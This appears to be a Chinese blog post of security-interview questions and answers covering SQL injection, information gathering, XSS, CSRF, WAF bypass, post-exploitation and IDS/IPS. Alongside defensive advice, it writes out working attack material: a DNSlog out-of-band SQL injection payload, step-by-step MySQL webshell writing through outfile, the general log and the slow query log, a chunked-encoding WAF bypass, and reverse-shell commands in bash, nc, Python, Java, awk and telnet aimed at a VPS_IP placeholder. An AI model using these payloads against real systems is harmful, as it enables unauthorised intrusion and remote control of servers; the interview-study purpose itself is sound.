面试题总结

SQL

Q: 如何防范orderby like in等关键字sql注入

1.如果是mybatis框架可以利用输入参数与其他的字符拼接的方式 而不直接使用${}
like关键字:例如:select * from news where tile like concat(‘%’,#{title}, ‘%’)
in之后的参数SQL注入修复建议
在对新闻进行同条件多值查询的时候,可使用Mybatis自带循环指令解决SQL语句动态拼接的问题:
<select id="dynamicForeachTest" parameterType="java.util.List" resultType="Blog"> select * from t_blog where id in
<foreach collection="list" index="index" item="item" open="(" separator="," close=")">
#{item}
</foreach>
</select>

order by关键字:限定死输入参数的方式 例如限定死1or2,如果是3的话就跳转到其他语句进行分析
如当存在发布时间time和点击量click两种排序选择时,我们可以限制用户只能输入1和2。当用户输入1时,我们在代码层面将其映射为time,当用户输入2时,将其映射为click。
而当用户输入1和2之外的其他内容时,我们可以将其转换为默认排序选择time(或者click)。

Q:哪些sql語句無法使用預編譯

1.動態的sql語句:如果sql語句的結構或内容在運行時才能確定,則無法在與編譯階段進行編譯.craete table drop table alter table grant/revoke語句等等
2.存儲過程或函數定義:通常包括變數、條件語句和循環語句(動態無法確定)

Q:mysql過濾了information如何注入

利用5.7新增的表sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer    #存儲了所有表的統計信息

mysql默認存儲引擎innoDB擕帶的表
1.mysql.innodb_table_stats
2.mysql.innodb_index_stats
均有database_name和table_name可以利用

Q:sql二次注入介绍一下、以及如何防范

已存储到数据库的用户输入被读取后、再次进入到sql查询中导致的注入。
原理:输入数据后经处理后存储,但使用时取出后再次进入sql查询时没有进行预处理防御而是直接信任从数据库中来的内容导致二次注入

防御:依然是在进行数据库查询之前进行预处理和数据绑定(只要限制死内容攻击者无法精心构造攻击语句)

Q:mysql-udf是什么

mysql-udf mysql的用户自定义函数,是为了实现数据库的函数功能多样性 但是升级和维护会比较困难
#udf函数也可以做到提权的作用 提权的权限时运行mysql的账号的权限
secure_file_priv设置要为空才能实现

Q:SQL server sa是什么

sqlserver sa 是sqlserver默认的登录名 密码为安装的时候设置的

Q:SQL注入时,根据数据库报错信息”Microsoft JET Database….”,通常可以判断出数据库的类型属于?( )

Microsoft JET Database Engine:是Microsoft Jet 数据库引擎。
他是 Access 数据库系统的一部分,可以在用户和系统数据库中检索和存储数据。可以将其视为构建数据库系统(如 Access)之基础的数据管理器。

Q: dbowner是什么

dbowner是一种权限,当用户拥有dbowner权限是可以看到数据库的所有架构,例如视图,表,存储过程 

Q:过滤逗号的sql如何绕过

使用逗号的地方一般是再select 1,2,3 等爆回显的地方就可以看到有没有过滤逗号

1.当过滤逗号的时候可以使用join进行替换 join和逗号的区别在于 join可以是左连接或者右连接

2.查看是否存在盲注 存在盲注的话可以使用substring函数进行绕过

 

Q:mysql的带外通道注入

前提:

1.secure_file_priv要为空 (secure_file_priv=null 限制mysqld 不允许导入导出 | /tmp/ 显示导入导出只发生在tmp目录下)

2.格式是要UNC格式,只能用于windows

payload: select load_file(concat('\\\\',(select database()),'.sdrwew.dnslog.cn\\a'));
#注意最后dnslog的域名前面还有一个点

Q:mssql,mysql,oracle,mongodb的开放端口是哪几个

mssql 1433 mysql 3306 oracle 1521 mongodb 27017

Q:mysql写shell的相关操作

原理:通过mysql导出文件的特性,利用mysql写入shell后导出到可以访问到的目录中进行连接实现控制

1.secure_file_priv为空或者指定一个目录 而且这个目录是我们能访问到的目录比如/var/www/html等

mysql > show variables like '%secure_file_priv%'

2.进行写shell操作

crate table code(hax varchar(255));
insert code(hax) value('<?php $cmd=$_GET[\'c\']\;system($cmd)\;?>');
#检查插入语句是否成功
select * from hax;
----
Code
----
<?php $cmd=$_GET["cmd"];system($cmd);?>
----
select * from hax outfile 'xx'

#如果secure_file_priv上是/var/www/html的话可以写上xx 如果是空值则任意目录导出

3.连接

curl http://xx:port/xx?cmd=id

全局日志写入shell

1.首先查看全局日志是否开启

show variables like '%general_log%'
general_log OFF
general_log_file  D:\phpstudy/www/shell.php

2.命令行开启sql

set global general_log = on
set global general_log_file = 'd:/phpstudy/www/shell.php';    #前提是这个地方能够让我们访问

3.查询往日志写入shell

select '<?php @eval($_GET[cmd]);?>'
#mysql执行的语句记录在全局日志,从而将shell写入网站目录

慢查询日志写入shell

mysql>5.6.34 secure_file_priv阻拦我们使用outfile写入文件,没有服务器权限无法修改my.ini配置文件,利用慢查询日志写入shell
1.查看是否开启了慢查询日志
show variables like '%slow_query_log%';

2.开启慢查询日志并修改日志文件的绝对路径

set global slow_query_log = on ;
set global slow_query_log_file='D:\PHP study\www\shell.php>';

3.慢查询写入shell

select '<?php $cmd=$_GET[cmd];system($cmd);?>' or sleep(11);

信息收集

Q:wappalyzer的原理

主要步驟
1.獲取網站的html源代碼
2.從源代碼中提取所有的鏈接,脚本樣式,記錄網站頭部服務
3.檢查net.js、css和跟蹤代碼進行激活並記錄數據
4.利用規則進行匹配確認網站技術

Q:设置了http-only的站点如何获取cookie

1. apache漏洞2.0-2.2版本存在一个CVE-2012,通过输入超大的cookie超过限制,使得返回400错误包含httponly保护的cookie值 (太老了)

2.通过phpinfo的$_SERVER['HTTP_COOKIE']包含着cookie

3.cors漏洞配合xss跨域获得cookie

Q:遇到404页面应该如何利用

1.如果是内网的情况下 发现存在404页面说明该内网IP存在

2.可以继续爆破下级目录进行突破

Q:信息收集如何处理子域名爆破的泛解析问题

泛解析问题:一个域名做了泛解析时候在头位置即使不是写的完全是正确的主机头也可以解析到正确的域名

例如: asdfasf.taobao.com --> www.taobao.com

这就是做了泛解析的淘宝域名 如何处理

 通过oneforall工具来进行子域名搜集

原理: 最常见的就是ip黑名单的方式进行泛解析的对抗 

通过工具构造完全不同的随机域名进行访问获得ip和ttl,知道大部分的ip出现次数大于两次 再通过域名字典进行爆破,根据ip黑名单进行过滤,比较ttl值,泛解析记录中ttl是相同的,ttl不同则不是泛解析的记录

Q:如何绕过CDN查找真实ip

如何判断是否为真实ip 

cdn主要是启一个加速反馈给用户的作用 只能对某条线路进行cdn的加速 

1. 通过nslookup查找域名 如果非权威应答出现了多个ip则使用了cdn加速

 

 2.通过多地ping看是否有不同的ip

cdn的绕过查看真实ip

1. 首先cdn比较贵所以很多厂商可能只对主站进行了加速 查看子域名的方式可以查找到真实的ip

 

 2.cdn可能只用于加速国内的网页浏览,所以可以通过国外的主机ping查看真实ip 

使用站长工具的多地ping功能

站长工具 - 站长之家 (chinaz.com)

3.如果是php的框架也可以在phpinfo的 http_x_real_ip配置查看到ip

内存马有没有了解过

内存马:在java客户端中所有的web端请求都会通过listener,filter和servlet三个组件 通过在内存中修改或动态注册组件来实现恶意代码的插入

XSS

 Q:如何防范输出到href的xss

解析:输出到href的xss一般是由a标签的href进行超链接的跳转  一般可以通过javascript协议进行xss的攻击 例如: <a href='javascript:alert(1)'>

所以要对href的进行只能对http或https的限制才可以防止跳转

1. 对href的跳转只能是http或https的协议

2.进行htmlspecialchars函数过滤用户输入

Q:如何防范输出到js的xss

解:就只能通过对非法字符添加addslashes()函数进行防范

CSRF

Q:大概讲一下CSRF的原理

CSRF又称为one-click attack 浏览器允许网站A向和自己无关的网站B发起请求(并携带网站B的Cookie)。

实现csrf攻击必须要借助用户自身的cookie信息所以在黑客视角中实现csrf攻击要有以下几点

1.首先查找存在csrf页面还存不存在xss的存储型漏洞 xss漏洞可以让我们插入一段img标签来隐藏我们的攻击超链接

2. 如果不存在xss我们可以通过burpsuit构造一个csrf的poc后 通过社工来发送到用户,让用户点击连接实现修改用户的个人信息

Q:CSRF防御

CSRF就是黑客通过借用用户的cookie而不是获得用户的token.再通过社工或者存在csrf漏洞页面上的xss,在打开该漏洞页面的情况下同时点击了黑客恶意构造的链接

所以针对csrf只要创造出黑客不能伪造的东西出来

1. 校验referer值

2. 添加一个token在cookie中

csrf攻击简单可行的方法就是在客户端网页上再次添加一个cookie,保存一个随机数,而用户访问的时候,先读取这个cookie的值,hash一下这个cookie值并发送给服务器,服务器接收到用户的hash之后的值,同时取出之前设置在用户端的cookie的值,用同样的算法hash这个cookie值,比较这两个hash值,相同则是合法。(如果用户访问了病毒网站,也想带这个cookie去访问的时候,此时,因为病毒网站无法获取第三方cookie的值,所以他也就无法hash这个随机数,所以也就会被服务器校验的过滤掉)

Q:samesite防止CSRF攻击原理

samesite即使同站点cookie 是根据PSL来看是否为同站的策略 这并不是根据同源策略来进行分辨的

samesitecookie是有三个的选择项 分别是strict lax 和none 最新版的浏览器都讲samesite设置lax

samesite防止csrf的原理就是当第一方网站访问或者通过一些请求访问第三方网站的时候,由于samesite cookie的策略会让cookie中不携带第一方的cookie访问第三方网站

大大减少了黑客借用用户在第一方网站保留的cookie访问第三方网站

Q:json格式下的CSRF攻击如何防御

解析: json格式下的CSRF攻击实现

如何在JSON端点上利用CSRF漏洞 - FreeBuf网络安全行业门户

防御

 现阶段大部分的csrf都是做出黑客不能伪造的数据进行防御

1.创建随机的token值进行防御

2.进行referer来源验证

3.如果是站库分离的情况下,可以使用samesite策略设置成lax模式进行防御

渗透

Q:WAF以及其绕过方式

1. pipline管道绕过

由于http是可以利用管道的方式进行绕过,所以可以在一个请求中加入两个请求体 如果WAF只检测一个请求体

第二个请求体的恶意代码就会被执行

利用方式:

  要将connection改为keep-alive 

  将第二个请求体无缝连接到第一个请求体的请求参数后面

2.分块传输编码绕过

http是允许分块传输的当waf是一次性检测包的危险函数时.我们可以通过分块传输将危险函数拆分绕过waf

利用方式

  添加Transfer-Encoding:chunked请求头

原始payload id=1 and 1=1
分块payload
3
id=
1
1
5
 and #包含了两个空格
3
1=1
0
空行
空行
#0代表结束符,要隔上两个空行

 

后渗透

Q:反弹shell受限情况下如何(执行反弹操作不成功)

反弹shell原理和常见反弹shell方式 - 知乎 (zhihu.com)

1.先查看有哪些命令能够使用

#用whereis 命令来查看每个命令的所属文件在哪里判断有没有这个命令
whereis bash nc python php java exec telnet awk perl ruby lua 
#各个命令进行shell反弹
bash -c "bash -i >& /dev/tcp/kali's ip/port 0>&1"  #bash 反弹shell
bash -c '{}'| {base64,-d} | {bash,-i}        #bash base64编码版

nc -e /bin/bash|sh ip port #可能会因为nc版本的问题执行不成功
nc ip port -e /bin/bash|sh & #这个也可以成功 加上&是为了让后台执行 有些http具有时效性的会话需要添加上这个参数后台运行

#如果过滤了-e参数可以使用管道符输出链接
nc vpsip port | /bin/bash | vpsip port
#远程的8888端口键盘输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后
#将命令执行的结果以及错误输入到远程的9999端口中

 #没有ruby的配置文件说明ruby命令不能执行

python反弹shell

python -c "import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('VPS_IP',port));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);"

java反弹shell

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}
#将代码保存为reverse.java文件并用javac编译 编译完成后成功反弹shell
javac reverse.java
java reverse

 awk反弹shell

awk 'BEGIN{s="/inet/tcp/0/VPS_IP/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

telnet反弹shell

telnet VPS_IP 1234 | /bin/bash | telnet VPS_IP 4321

 2.查看能否ping通外网(出不出网) 可以配合dnslog进行查看回显

ping xasdf.dnglog.cn

 3.目标出战端口受限

目标服务器网络设置了防火墙和出站规则(设置了白名单)

一般来说一些通用端口就会在白名单的内部 80,443,53,21,22,110等

可以使用curl wget 命令进行出战端口探测 

curl www.baidu.com:80  | 可以结合自己公网的端口来探测目标ip出战端口

如果curl wget命令不能使用也可以用

echo /dev/tcp/www.baidu.com/80  #瞬间执行完成代表可出80 执行后一直等待,代表不出80

4哑shell转为全交互式shell

哑shell:ctrl-c无法终端会话,无法tab命令补全 无法执行交互式命令 无法查看命令历史

转为全交互式shell

1. 哑shell中执行

python -c "import pty;pty.spawn('/bin/bash')"

2.ctrl-z 回到vps的命令行,命令行中执行:

$stty raw -echo 
$fg(不会显示出来,直接敲回车即可)

键入: export TERM=xterm
--> 重新回到shell中

3.查看stty参数

stty -a

stty rows 30 columns 148
reset    #reset后成为全交互式shell

 安全服务

Q:IDS/IPS/HIDS

IDS:入侵检测系统(旁路部署),挂载在高危流量访问的链路上和所需要关注的链路上 一般部署在尽可能靠近攻击源的地方和尽可能靠近保护区域的地方

1. internet接入路由器上部署

2.重点保护区域的交换机上 

3.服务器区域的交换机上

IPS:入侵防御系统(串行部署) 能够监视网络或网络设备之间的网络资料传输行为的网络设备 并且能够调整 中断和隔离不正常的具有伤害性的网络资料传输行为

IDS和IPS的区别在于

  IDS只能嗅探到网络数据包并且生成告警,而不能中断和隔离这些危险访问的数据包 IPS则是可以进行这种中断隔离和调整的行为

  并且他们部署的位置不同 IDS是旁路部署 ,IPS是串行部署

HIDS:主机入侵检测系统 是对计算机系统的动态行为以及整个计算机的状态. 例如对数据库,日志,文件系统和内存的操作,HIDS会检测是否具有修改

posted @ 2023-03-26 16:05  lisenMiller  阅读(24)  评论(0编辑  收藏  举报